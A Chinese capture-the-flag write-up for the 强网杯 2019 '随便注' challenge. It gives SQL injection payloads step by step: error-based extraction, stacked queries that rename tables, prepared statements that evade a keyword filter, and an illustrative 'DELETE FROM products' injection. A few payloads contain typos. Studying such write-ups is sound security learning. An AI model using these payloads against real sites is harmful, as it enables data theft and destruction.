[强网杯 2019]随便注

一 首先判断注入点的存在以及类型。

1 正常

1' 报错，并根据报错信息以及1'#回显正常判断出符号包裹为单引号

1' and 1=1# 返回信息

1' and 1=2#无返回信息 因此存在单引号注入点

输入1' or 1=1 #可得到这个表的所有内容

二 获取列数

1' order by 1#
1' order by 2#
1' order by 3#  报错

列数为2

三 尝试获取数据库名 表名 版本等基本信息

-1' union select database()#

返回

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

多个关键词都被过滤 /i  表示大小写都会被匹配到。

大小写无法绕过过滤，尝试注释绕过和双写绕过。

-1' union sele/**/ct database()#

也无法返回正常结果。

尝试报错注入

1' and extractvalue(1,concat(0x7e,user(),0x7e)) #

1' and extractvalue(1,concat(0x7e,database(),0x7e)) #

1' and extractvalue(1,concat(0x7e,version(),0x7e)) #

报出期望信息，但是没有select 无法查询更详细的字段信息。

四 方法1堆叠注入

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，
两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

堆叠注入的使用条件十分有限，其可能受到API或者数据库引擎，又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用，
利用mysqli_multi_query()函数就支持多条sql语句同时执行，
但实际情况中，如PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_ query()函数，
其只能执行一条语句，分号后面的内容将不会被执行，所以可以说堆叠注入的使用条件十分有限，一旦能够被使用，将可能对网站造成十分大的威胁。
打开此题，进行常规测试，如1' or 1=1# ,1' order by 1# 在1' order by 3时报错，说明列数为2

-1' union sele/**/ct database()#　　# 注释符也无法绕过

1;show databases;  #    　　#列出数据库

1';show tables;# 　　#列出表

1';show columns from words;#   #查看words的列

1';show columns from `1919810931114514`;#   　　#查看1919810931114514表的列或者desc `1919810931114514`查看表的结构

表名为数字时，要用反引号包裹起来查询。

1' or 1=1#   查看当前默认表的所有段，结合查询的words表的字段可知道words是默认查询的表。

并且可推测当前页面查询语句是slect id,data from words;

有这样的思路：如果把要查询的表名改为默认表名，同样也要把查询的字段改为默认查询字段

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

1';alter table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

1' or 1=1 # 得到flag

五 方法二 预编译

set用于设置变量名和值
prepare用于预备一个语句，并赋予名称，以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

先将select * from 1919810931114514进行16进制编码，set prepare被检测到，strstr函数不区分大小写，

strstr($inject, "set") && strstr($inject, "prepare")

大小写绕过过滤，构造payload

1’;SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare stmt from @sql;execute stmt;#

1';SeT@sql = concat('se','lect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");Prepare stmt from @sql;execute stmt;#

以上三种都可以